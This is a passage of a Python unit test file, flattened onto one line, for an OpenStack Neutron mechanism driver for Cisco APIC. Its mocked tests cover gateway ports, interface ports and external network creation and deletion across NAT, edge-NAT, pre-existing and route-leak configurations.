self.external_network_dict[mocked.APIC_NETWORK_PRE + '-name'][ 'enable_nat'] = 'False' net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) ctx_name = self._network_vrf_name( nat_vrf=False, net_name=self._scoped_name(net_ctx.current['id'])) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': l3out_tenant, 'vrf_name': ctx_name, 'vrf_tenant': self._tenant(vrf=True)} nets = [ {'tenant_id': mocked.APIC_TENANT + '1', 'name': mocked.APIC_NETWORK, 'id': 'net_id1'}, {'tenant_id': mocked.APIC_TENANT + '2', 'name': mocked.APIC_NETWORK, 'id': 'net_id2'}] manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = nets self.driver.update_port_postcommit(port_ctx) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) self.assertFalse(mgr.ensure_external_routed_network_created.called) self.assertFalse(mgr.ensure_external_epg_created.called) l3out_name = self._scoped_name(net_ctx.current['name'], preexisting=True) mgr.set_context_for_external_routed_network.assert_called_once_with( l3out_tenant, l3out_name, self._routed_network_vrf_name(), transaction=mock.ANY) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg=self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=l3out_tenant, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_consumed_contract.call_args_list) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg=self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=l3out_tenant, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_provided_contract.call_args_list) self.assertFalse(mgr.set_contract_for_epg.called) expected_l3out_bd_calls = [ mock.call(self._tenant(neutron_tenant=n['tenant_id']), self._scoped_name(n['id'], tenant=n['tenant_id']), l3out_name, transaction=mock.ANY) for n in nets] self._check_call_list(expected_l3out_bd_calls, mgr.set_l3out_for_bd.call_args_list) def test_update_pre_no_nat_gw_port_postcommit_tenant(self): self._test_update_pre_no_nat_gw_port_postcommit(self._tenant()) def test_update_pre_no_nat_gw_port_postcommit_common(self): self._test_update_pre_no_nat_gw_port_postcommit('common') def test_delete_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, gw=True) self.driver._delete_path_if_last = mock.Mock() self.driver.delete_port_postcommit(port_ctx) mgr = self.driver.apic_manager vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') mgr.delete_external_routed_network.assert_called_once_with( "Shd-%s" % (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK) or mocked.APIC_NETWORK), owner=self._tenant(ext_nat=True)) def test_delete_gw_port_postcommit_empty_tenant(self): self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'tenant_id': ''}) net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) r_cnst = n_constants.DEVICE_OWNER_ROUTER_GW port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, mocked.APIC_ROUTER, net_ctx, HOST_ID1, gw=True, device_owner=r_cnst) self.driver.delete_port_postcommit(port_ctx) mgr = self.driver.apic_manager mgr.delete_external_routed_network.assert_not_called() def test_delete_edge_nat_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) self.driver._delete_path_if_last = mock.Mock() self.driver.l3out_vlan_alloc.release_vlan = mock.Mock() manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = [ {'tenant_id': mocked.APIC_TENANT, 'name': mocked.APIC_NETWORK, 'id': 'net_id'}] self.driver.delete_port_postcommit(port_ctx) mgr = self.driver.apic_manager vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_EDGE_NAT) or mocked.APIC_NETWORK_EDGE_NAT) l3out_name = "Auto-%s" % l3out_name mgr.delete_external_routed_network.assert_called_once_with( l3out_name, owner=self._tenant(ext_nat=True)) self.driver.l3out_vlan_alloc.release_vlan.assert_called_once_with( mocked.APIC_NETWORK_EDGE_NAT + '-name', self._routed_network_vrf_name(), self._tenant(ext_nat=True)) bd_name = self._scoped_name('net_id') mgr.unset_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, l3out_name, transaction=mock.ANY) def test_delete_pre_edge_nat_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) self.driver._delete_path_if_last = mock.Mock() self.driver.l3out_vlan_alloc.release_vlan = mock.Mock() manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = [ {'tenant_id': mocked.APIC_TENANT, 'name': mocked.APIC_NETWORK, 'id': 'net_id'}] self.driver.delete_port_postcommit(port_ctx) mgr = self.driver.apic_manager vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_PRE_EDGE_NAT) or mocked.APIC_NETWORK_PRE_EDGE_NAT) l3out_name = "Auto-%s" % l3out_name mgr.delete_external_routed_network.assert_called_once_with( l3out_name, owner=self._tenant(ext_nat=True)) self.driver.l3out_vlan_alloc.release_vlan.assert_called_once_with( mocked.APIC_NETWORK_PRE_EDGE_NAT + '-name', self._routed_network_vrf_name(), self._tenant(ext_nat=True)) bd_name = self._scoped_name('net_id') mgr.unset_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, l3out_name, transaction=mock.ANY) def _test_delete_interface_port_postcommit(self, route_leak=False): net_ctx = self._get_network_context(mocked.APIC_TENANT, 'net_id', TEST_SEGMENT1, route_leak=route_leak) net_ctx1 = self._get_network_context(mocked.APIC_TENANT, 'net_id1', TEST_SEGMENT1, route_leak=route_leak) port_ctx = self._get_port_context(mocked.APIC_TENANT, 'net_id', 'vm1', net_ctx, HOST_ID1, interface=True) if route_leak: self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': 'some_id', 'name': mocked.APIC_ROUTER + '-name', 'tenant_id': mocked.APIC_TENANT, 'apic:use_routing_context': mocked.APIC_ROUTER, 'external_gateway_info': {'network_id': mocked.APIC_NETWORK_EDGE_NAT, 'external_fixed_ips': []}}) else: self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'name': mocked.APIC_ROUTER + '-name', 'tenant_id': mocked.APIC_TENANT, 'external_gateway_info': {'network_id': mocked.APIC_NETWORK_EDGE_NAT, 'external_fixed_ips': []}}) port_ctx._plugin.get_network = mock.Mock( return_value={'name': mocked.APIC_NETWORK_EDGE_NAT + '-name', 'router:external': True}) self.driver._get_route_leak_networks = mock.Mock( return_value=([net_ctx.current, net_ctx1.current])) port_ctx._plugin.get_subnets = mock.Mock( return_value=[{'tenant_id': mocked.APIC_TENANT, 'id': 'some_id', 'cidr': '5.5.5.0/24'}]) self.driver.delete_port_postcommit(port_ctx) prefix = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(prefix + mocked.APIC_NETWORK_EDGE_NAT) or mocked.APIC_NETWORK_EDGE_NAT) l3out_name = "Auto-%s" % l3out_name bd_name = self._scoped_name('net_id') mgr = self.driver.apic_manager mgr.unset_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, l3out_name, transaction=mock.ANY) if self.driver.vrf_per_router_tenants: leak_l3out = 'Leak-%s' % net_ctx.current['name'] leak_l3out1 = 'Leak-%s' % net_ctx1.current['name'] leak_ext_epg = 'Leak-%s-%s' % (mocked.APIC_ROUTER + '-name', mocked.APIC_EXT_EPG) if route_leak: leak_epg_name = 'Leak-%s-%s' % (mocked.APIC_ROUTER, 'net_id') mgr.delete_epg_for_network.assert_called_once_with( self._tenant(), leak_epg_name, app_profile_name=self._app_profile(), transaction=mock.ANY) leak_bd_name = 'Leak-%s-%s' % (mocked.APIC_ROUTER, bd_name) mgr.delete_bd_on_apic.assert_called_once_with( self._tenant(), leak_bd_name, transaction=mock.ANY) mgr.ensure_external_epg_deleted.assert_called_once_with( leak_l3out, external_epg=leak_ext_epg, owner=self._tenant(), transaction=mock.ANY) else: expected_calls = [ mock.call(leak_l3out, subnets=['5.5.5.0/24'], external_epg=leak_ext_epg, owner=self._tenant(), transaction=mock.ANY), mock.call(leak_l3out1, subnets=['5.5.5.0/24'], external_epg=leak_ext_epg, owner=self._tenant(), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_routes_deleted.call_args_list) mgr.ensure_context_deleted( owner=self._tenant(), ctx_id=self._routed_network_vrf_name(), transaction=mock.ANY) mgr.set_context_for_bd.assert_called_once_with( self._tenant(), bd_name, self._network_vrf_name(), transaction=mock.ANY) def test_delete_edge_nat_interface_port_postcommit(self): self._test_delete_interface_port_postcommit() def test_delete_route_leak_edge_nat_interface_port_postcommit(self): self._test_delete_interface_port_postcommit(route_leak=True) def test_update_no_nat_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) nets = [ {'tenant_id': mocked.APIC_TENANT + '1', 'name': mocked.APIC_NETWORK, 'id': 'net_id1'}, {'tenant_id': mocked.APIC_TENANT + '2', 'name': mocked.APIC_NETWORK, 'id': 'net_id2'}] manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = nets self.driver.update_port_postcommit(port_ctx) l3out_name = self._scoped_name(mocked.APIC_NETWORK_NO_NAT) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) mgr.set_context_for_external_routed_network.assert_called_once_with( self._tenant(), l3out_name, self._routed_network_vrf_name(), transaction=mock.ANY) mgr.ensure_external_epg_consumed_contract.assert_called_once_with( l3out_name, mgr.get_router_contract.return_value, external_epg=mocked.APIC_EXT_EPG, transaction=mock.ANY, owner=self._tenant()) mgr.ensure_external_epg_provided_contract.assert_called_once_with( l3out_name, mgr.get_router_contract.return_value, external_epg=mocked.APIC_EXT_EPG, transaction=mock.ANY, owner=self._tenant()) self.assertFalse(mgr.set_contract_for_epg.called) expected_l3out_bd_calls = [ mock.call(self._tenant(neutron_tenant=n['tenant_id']), self._scoped_name(n['id'], tenant=n['tenant_id']), l3out_name, transaction=mock.ANY) for n in nets] self._check_call_list(expected_l3out_bd_calls, mgr.set_l3out_for_bd.call_args_list) def test_delete_unrelated_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, 'unrelated', TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, 'unrelated', 'vm1', net_ctx, HOST_ID1, gw=True) self.driver._delete_path_if_last = mock.Mock() self.driver.delete_port_postcommit(port_ctx) mgr = self.driver.apic_manager self.assertFalse(mgr.delete_external_epg_contract.called) def test_delete_pre_gw_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager self.driver._delete_path_if_last = mock.Mock() self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant'} self.driver.delete_port_postcommit(port_ctx) vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') mgr.delete_external_routed_network.assert_called_once_with( "Shd-%s" % (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_PRE) or mocked.APIC_NETWORK_PRE), owner=self._tenant(ext_nat=True)) def _test_delete_no_nat_gw_port_postcommit(self, pre): if pre: self.external_network_dict[mocked.APIC_NETWORK_NO_NAT + '-name'][ 'preexisting'] = 'True' net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) self.driver._delete_path_if_last = mock.Mock() mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) if pre: self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': self._tenant(), 'vrf_name': self._network_vrf_name(), 'vrf_tenant': self._tenant(vrf=True)} nets = [ {'tenant_id': mocked.APIC_TENANT + '1', 'name': mocked.APIC_NETWORK, 'id': 'net_id1'}, {'tenant_id': mocked.APIC_TENANT + '2', 'name': mocked.APIC_NETWORK, 'id': 'net_id2'}] manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = nets self.driver.delete_port_postcommit(port_ctx) if pre: l3out_name = self._scoped_name(net_ctx.current['name'], preexisting=True) else: l3out_name = self._scoped_name(mocked.APIC_NETWORK_NO_NAT) mgr.set_context_for_external_routed_network.assert_called_once_with( self._tenant(), l3out_name, None, transaction=mock.ANY) if pre: expected_calls = [ mock.call( l3out_name, 'contract-%s' % mocked.APIC_ROUTER, external_epg=mocked.APIC_EXT_EPG, owner=self._tenant(), provided=True, transaction=mock.ANY), mock.call( l3out_name, 'contract-%s' % mocked.APIC_ROUTER, external_epg=mocked.APIC_EXT_EPG, owner=self._tenant(), provided=False, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.unset_contract_for_external_epg.call_args_list) else: mgr.delete_external_epg_contract.assert_called_once_with( self._scoped_name(mocked.APIC_ROUTER), l3out_name, transaction=mock.ANY) self.assertFalse(mgr.delete_external_routed_network.called) expected_l3out_bd_calls = [ mock.call(self._tenant(neutron_tenant=n['tenant_id']), self._scoped_name(n['id'], tenant=n['tenant_id']), l3out_name, transaction=mock.ANY) for n in nets] self._check_call_list(expected_l3out_bd_calls, mgr.unset_l3out_for_bd.call_args_list) def test_delete_no_nat_gw_port_postcommit(self): self._test_delete_no_nat_gw_port_postcommit(False) def test_delete_no_nat_pre_gw_port_postcommit(self): self._test_delete_no_nat_gw_port_postcommit(True) def test_create_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) mgr = self.driver.apic_manager self.driver.create_network_postcommit(ctx) mgr.ensure_bd_created_on_apic.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), ctx_owner=self._tenant(vrf=True), ctx_name=self._network_vrf_name(net_name=ctx.current['id']), transaction='transaction', unicast_route=True) mgr.ensure_epg_created.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, transaction='transaction', app_profile_name=self._app_profile(), bd_name=self._scoped_name(mocked.APIC_NETWORK)) expected_calls = [ mock.call(mgr.apic.fvBD, self._tenant(), self._scoped_name(mocked.APIC_NETWORK), nameAlias=mocked.APIC_NETWORK + '-name'), mock.call(mgr.apic.fvAEPg, self._tenant(), self._app_profile(), mocked.APIC_NETWORK, nameAlias=mocked.APIC_NETWORK + '-name')] if self.driver.single_tenant_mode: expected_calls.append(mock.call(mgr.apic.fvAp, self._tenant(), self._app_profile(), nameAlias=mocked.APIC_TENANT)) else: expected_calls.append(mock.call(mgr.apic.fvTenant, self._tenant(), nameAlias=mocked.APIC_TENANT)) self._check_call_list(expected_calls, mgr.update_name_alias.call_args_list) def test_create_route_leak_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, route_leak=True) mgr = self.driver.apic_manager self.driver.create_network_postcommit(ctx) mgr.ensure_bd_created_on_apic.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), ctx_owner=self._tenant(vrf=True), ctx_name=self._network_vrf_name(net_name=ctx.current['id']), transaction='transaction', unicast_route=True) mgr.ensure_epg_created.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, transaction='transaction', app_profile_name=self._app_profile(), bd_name=self._scoped_name(mocked.APIC_NETWORK)) if self.driver.vrf_per_router_tenants: leak_l3out = "Leak-%s" % ctx.current['name'] mgr.ensure_external_routed_network_created.assert_called_once_with( leak_l3out, owner=self._tenant(vrf=True), context=self._network_vrf_name(net_name=ctx.current['id']), transaction='transaction') expected_calls = [ mock.call(mgr.apic.fvBD, self._tenant(), self._scoped_name(mocked.APIC_NETWORK), nameAlias=mocked.APIC_NETWORK + '-name'), mock.call(mgr.apic.fvAEPg, self._tenant(), self._app_profile(), mocked.APIC_NETWORK, nameAlias=mocked.APIC_NETWORK + '-name')] if self.driver.single_tenant_mode: expected_calls.append(mock.call(mgr.apic.fvAp, self._tenant(), self._app_profile(), nameAlias=mocked.APIC_TENANT)) else: expected_calls.append(mock.call(mgr.apic.fvTenant, self._tenant(), nameAlias=mocked.APIC_TENANT)) self._check_call_list(expected_calls, mgr.update_name_alias.call_args_list) def test_update_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) ctx.original = copy.copy(ctx.current) mgr = self.driver.apic_manager self.driver.update_network_postcommit(ctx) self.assertFalse(mgr.apic.fvBD.update.called) self.assertFalse(mgr.apic.fvAEPg.update.called) # try again with a new network name ctx.original['name'] = 'old_network_name' self.driver.update_network_postcommit(ctx) expected_calls = [ mock.call(mgr.apic.fvBD, self._tenant(), self._scoped_name(mocked.APIC_NETWORK), nameAlias=mocked.APIC_NETWORK + '-name'), mock.call(mgr.apic.fvAEPg, self._tenant(), self._app_profile(), mocked.APIC_NETWORK, nameAlias=mocked.APIC_NETWORK + '-name')] self._check_call_list(expected_calls, mgr.update_name_alias.call_args_list) def test_create_external_network_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver.create_network_postcommit(net_ctx) ctx_name = self._network_vrf_name( nat_vrf=True, net_name=self._scoped_name(net_ctx.current['id'])) mgr.ensure_context_enforced.assert_called_once_with( owner=self._tenant(vrf=True), ctx_id=ctx_name) bd_name = "EXT-bd-%s" % self._scoped_name(mocked.APIC_NETWORK) mgr.ensure_epg_created.assert_called_once_with( self._tenant(), "EXT-epg-%s" % self._scoped_name(mocked.APIC_NETWORK), bd_name=bd_name, app_profile_name=self._app_profile(), transaction=mock.ANY) mgr.ensure_bd_created_on_apic.assert_called_once_with( self._tenant(), bd_name, ctx_name=ctx_name, ctx_owner=self._tenant(vrf=True), transaction=mock.ANY) mgr.set_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, self._scoped_name(mocked.APIC_NETWORK), transaction=mock.ANY) expected_calls = [ mock.call(self._scoped_name(mocked.APIC_NETWORK), owner=self._tenant(), context=self._network_vrf_name( nat_vrf=True, net_name=self._scoped_name(net_ctx.current['id'])), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_routed_network_created.call_args_list) mgr.set_domain_for_external_routed_network.assert_called_once_with( self._scoped_name(mocked.APIC_NETWORK), owner=self._tenant(), transaction='transaction') mgr.ensure_logical_node_profile_created.assert_called_once_with( self._scoped_name(mocked.APIC_NETWORK), mocked.APIC_EXT_SWITCH, mocked.APIC_EXT_MODULE, mocked.APIC_EXT_PORT, mocked.APIC_EXT_ENCAP, mocked.APIC_EXT_CIDR_EXPOSED, owner=self._tenant(), transaction='transaction') mgr.ensure_static_route_created.assert_called_once_with( self._scoped_name(mocked.APIC_NETWORK), mocked.APIC_EXT_SWITCH, mocked.APIC_EXT_GATEWAY_IP, transaction='transaction', owner=self._tenant()) contract_name = "EXT-%s-allow-all" % mocked.APIC_NETWORK mgr.create_tenant_filter.assert_called_once_with( contract_name, owner=self._tenant(), entry="allow-all", transaction=mock.ANY) mgr.manage_contract_subject_bi_filter.assert_called_once_with( contract_name, contract_name, contract_name, owner=self._tenant(), transaction=mock.ANY) expected_calls = [ mock.call(self._scoped_name(mocked.APIC_NETWORK), external_epg=mocked.APIC_EXT_EPG, owner=self._tenant(), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) expected_calls = [ mock.call(self._scoped_name(mocked.APIC_NETWORK), contract_name, external_epg=mocked.APIC_EXT_EPG, provided=True, owner=self._tenant(), transaction=mock.ANY), mock.call(self._scoped_name(mocked.APIC_NETWORK), contract_name, external_epg=mocked.APIC_EXT_EPG, provided=False, owner=self._tenant(), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.set_contract_for_external_epg.call_args_list) def test_create_pre_external_network_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} self.driver.create_network_postcommit(net_ctx) self.assertFalse(mgr.ensure_context_enforced.called) self.assertFalse(mgr.ensure_external_routed_network_created.called) self.assertFalse(mgr.set_domain_for_external_routed_network.called) self.assertFalse(mgr.ensure_logical_node_profile_created.called) self.assertFalse(mgr.ensure_static_route_created.called) self.assertFalse(mgr.ensure_external_epg_created.called) bd_name = "EXT-bd-%s" % self._scoped_name(net_ctx.current['name'], preexisting=True) l3out = self._scoped_name(net_ctx.current['name'], preexisting=True) mgr.ensure_epg_created.assert_called_once_with( self._tenant(), "EXT-epg-%s" % self._scoped_name(net_ctx.current['name'], preexisting=True), bd_name=bd_name, app_profile_name=self._app_profile(), transaction=mock.ANY) mgr.ensure_bd_created_on_apic.assert_called_once_with( self._tenant(), bd_name, ctx_name='bar_ctx', ctx_owner='bar_tenant', transaction=mock.ANY) mgr.set_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, l3out, transaction=mock.ANY) contract_name = "EXT-%s-allow-all" % mocked.APIC_NETWORK_PRE mgr.create_tenant_filter.assert_called_once_with( contract_name, owner='bar_tenant', entry="allow-all", transaction=mock.ANY) mgr.manage_contract_subject_bi_filter.assert_called_once_with( contract_name, contract_name, contract_name, owner='bar_tenant', transaction=mock.ANY) expected_calls = [ mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=True, owner='bar_tenant', transaction=mock.ANY), mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=False, owner='bar_tenant', transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.set_contract_for_external_epg.call_args_list) def test_create_pre_edge_nat_external_network_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} self.driver.create_network_postcommit(net_ctx) self.assertFalse(mgr.ensure_context_enforced.called) self.assertFalse(mgr.ensure_external_routed_network_created.called) self.assertFalse(mgr.set_domain_for_external_routed_network.called) self.assertFalse(mgr.ensure_logical_node_profile_created.called) self.assertFalse(mgr.ensure_static_route_created.called) self.assertFalse(mgr.ensure_external_epg_created.called) self.assertFalse(mgr.ensure_epg_created.called) self.assertFalse(mgr.ensure_bd_created_on_apic.called) self.assertFalse(mgr.set_l3out_for_bd.called) self.assertFalse(mgr.set_contract_for_epg.called) self.assertFalse(mgr.ensure_subnet_created_on_apic.called) def test_create_unknown_pre_external_network_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = None self.assertRaises( md.PreExistingL3OutNotFound, self.driver.create_network_postcommit, net_ctx) self.assertFalse(mgr.ensure_context_enforced.called) self.assertFalse(mgr.ensure_external_routed_network_created.called) self.assertFalse(mgr.set_domain_for_external_routed_network.called) self.assertFalse(mgr.ensure_logical_node_profile_created.called) self.assertFalse(mgr.ensure_static_route_created.called) self.assertFalse(mgr.ensure_external_epg_created.called) self.assertFalse(mgr.ensure_epg_created.called) self.assertFalse(mgr.ensure_bd_created_on_apic.called) self.assertFalse(mgr.create_tenant_filter.called) self.assertFalse(mgr.manage_contract_subject_bi_filter.called) self.assertFalse(mgr.set_contract_for_external_epg.called) self.assertFalse(mgr.set_l3out_for_bd.called) def test_delete_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) mgr = self.driver.apic_manager self.driver.delete_network_postcommit(ctx) mgr.delete_bd_on_apic.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), transaction='transaction') mgr.delete_epg_for_network.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, transaction='transaction', app_profile_name=self._app_profile()) def test_delete_route_leak_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, route_leak=True) mgr = self.driver.apic_manager self.driver.delete_network_postcommit(ctx) mgr.delete_bd_on_apic.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), transaction='transaction') mgr.delete_epg_for_network.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, transaction='transaction', app_profile_name=self._app_profile()) if self.driver.vrf_per_router_tenants: leak_l3out = "Leak-%s" % ctx.current['name'] mgr.delete_external_routed_network.assert_called_once_with( leak_l3out, owner=self._tenant(vrf=True), transaction='transaction') def test_delete_external_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver.delete_network_postcommit(ctx) self.assertEqual(1, mgr.delete_bd_on_apic.call_count) self.assertEqual(1, mgr.delete_epg_for_network.call_count) mgr.delete_external_routed_network.assert_called_once_with( self._scoped_name(mocked.APIC_NETWORK), owner=self._tenant()) ctx_name = self._network_vrf_name( nat_vrf=True, net_name=self._scoped_name(ctx.current['id'])) mgr.ensure_context_deleted.assert_called_once_with( self._tenant(vrf=True), ctx_name, transaction=mock.ANY) contract_name = "EXT-%s-allow-all" % mocked.APIC_NETWORK mgr.delete_tenant_filter.assert_called_once_with( contract_name, owner=self._tenant(), transaction=mock.ANY) mgr.delete_contract.assert_called_once_with( contract_name, owner=self._tenant(), transaction=mock.ANY) def test_delete_pre_external_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} self.driver.delete_network_postcommit(ctx) self.assertEqual(1, mgr.delete_bd_on_apic.call_count) self.assertEqual(1, mgr.delete_epg_for_network.call_count) self.assertFalse(mgr.delete_external_routed_network.called) contract_name = "EXT-%s-allow-all" % mocked.APIC_NETWORK_PRE l3out = self._scoped_name(ctx.current['name'], preexisting=True) expected_calls = [ mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=True, owner='bar_tenant', transaction=mock.ANY), mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=False, owner='bar_tenant', transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.unset_contract_for_external_epg.call_args_list) mgr.delete_tenant_filter.assert_called_once_with( contract_name, owner='bar_tenant', transaction=mock.ANY) mgr.delete_contract.assert_called_once_with( contract_name, owner='bar_tenant', transaction=mock.ANY) def test_delete_pre_edge_nat_external_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} self.driver.delete_network_postcommit(ctx) self.assertFalse(mgr.delete_bd_on_apic.called) self.assertFalse(mgr.delete_epg_for_network.called) self.assertFalse(mgr.delete_external_routed_network.called) 